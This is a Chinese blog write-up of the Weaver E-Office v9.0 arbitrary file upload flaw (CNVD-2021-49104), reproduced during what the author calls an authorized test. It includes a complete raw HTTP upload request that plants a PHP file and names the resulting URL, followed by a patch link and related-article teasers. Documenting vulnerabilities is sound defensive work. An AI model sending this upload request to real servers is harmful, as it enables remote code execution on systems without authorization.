(CNVD-2021-49104) 泛微E-Office v9.0任意文件上传漏洞

漏洞描述

泛微e-office是泛微旗下的一款标准协同移动办公平台。由于 e-office 未能正确处理上传模块中的用户输入，攻击者可以通过该漏洞构造恶意的上传数据包，最终实现任意代码执行。

【授权】真实环境复现

朴实无华的周二，枯燥地做着渗透项目，突然信息收集到OA系统，兴致来了，所以简单记录一下。
访问主页，就是这样一个页面，经典的泛微OA。

前不久，印象中是上周吧，看到泛微出了新漏洞，泛微 e-office v9.0有任意文件上传。直接试着payload打一下，碰碰运气：

POC

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host:(IP):端口
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
Content-Length: 195
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="1.php"
Content-Type: image/jpeg<?php phpinfo();?>--e64bdf16c554bbc109cecef6451c26a4--

结果

成功执行。访问漏洞url:
/images/logo/logo-eoffice.php

漏洞修复

打补丁，官网已提供：

http://v10.e-office.cn/eoffice9update/safepack.zip

(CNVD-2021-49104) 泛微E-Office v9.0任意文件上传漏洞相关推荐

泛微 e-office v9.0任意文件上传漏洞(CNVD-2021-49104)
文章来源|MS08067 Web安全知识星球本文作者:Taoing(Web漏洞挖掘班讲师) 参考: https://cnvd.org.cn/flaw/show/CNVD-2021-49104 htt ...
【漏洞复现】泛微 e-office v9.0任意文件上传漏洞(CNVD-2021-49104)
0x01 漏洞概述泛微e-office是泛微旗下的一款标准的协同移动办公平台. 泛微e-office 未能正确处理上传模块中用户输入导致的,攻击者可以构造恶意的上传数据包,实现任意代码执行,攻击者可 ...
泛微 e-office v9.0任意文件上传漏洞{CNVD-2021-49104}
目录漏洞介绍影响版本漏洞环境漏洞复现一漏洞复现二修复方法
vc++ 6.0 创建程序快捷方式的一个例子源码_漏洞复现:phpcms v9.6.0任意文件上传漏洞(CVE201814399)...
文章说明漏洞复现是为了学习漏洞利用所写,漏洞都是互联网上以流传已久的各种漏洞的利用及原理,用来增强自己见识,培养自己动手能力,有兴趣的朋友可自行搭建环境练习.源码下载连接在文章最后. 漏洞说明 PH ...
某office前台任意文件上传漏洞分析
X微e-office的那个前台任意文件上传漏洞已经被爆出一段时间了,相关的漏洞利用脚本甚至是漏洞批量利用脚本也有很多.在这里根据系统代码结合POC来分析一下这个漏洞点. 定位漏洞点 [私信回复&qu ...
泛微E-Office文件上传漏洞（CNVD-2021-49104）
泛微E-Office文件上传漏洞(CNVD-2021-49104) 漏洞描述泛微e-office是泛微旗下的一款标准协同移动办公平台.由于 e-office 未能正确处理上传模块中的用户输入,攻击者 ...
(php)泛微E-Office文件上传漏洞(原理分析+复现+批量检测)
漏洞描述泛微e-office是泛微旗下的一款标准协同移动办公平台. CNVD-2021-49104 由于 e-office 未能正确处理上传模块中的用户输入,攻击者可以通过该漏洞构造恶意的上传数据包 ...
泛微任意文件上传（CNVD-2021-49104）
CNVD-2021-49104 goby exp 声明代码 poc集合声明本程序仅供于学习交流,请使用者遵守<中华人民共和国网络安全法>,勿将此脚本用于非授权的测试,脚本开发者不负任 ...
泛微OA V8 SQL注入漏洞和文件上传漏洞
fofa语句 app="泛微-协同办公OA" SQL注入在泛微OA V8中的getdata.jsp文件里,通过gatData方法将数据获取并回显在页面上,而在getData方法中 ...
Feng Office 3.7.0.5 - 文件上传
Feng Office 3.7.0.5 - 文件上传 <?php$exp = explode("/", $_SERVER['REQUEST_URI']);$iname = $ ...

(CNVD-2021-49104) 泛微E-Office v9.0任意文件上传漏洞

漏洞描述

【授权】真实环境复现

POC

结果

漏洞修复

(CNVD-2021-49104) 泛微E-Office v9.0任意文件上传漏洞相关推荐

最新文章

热门文章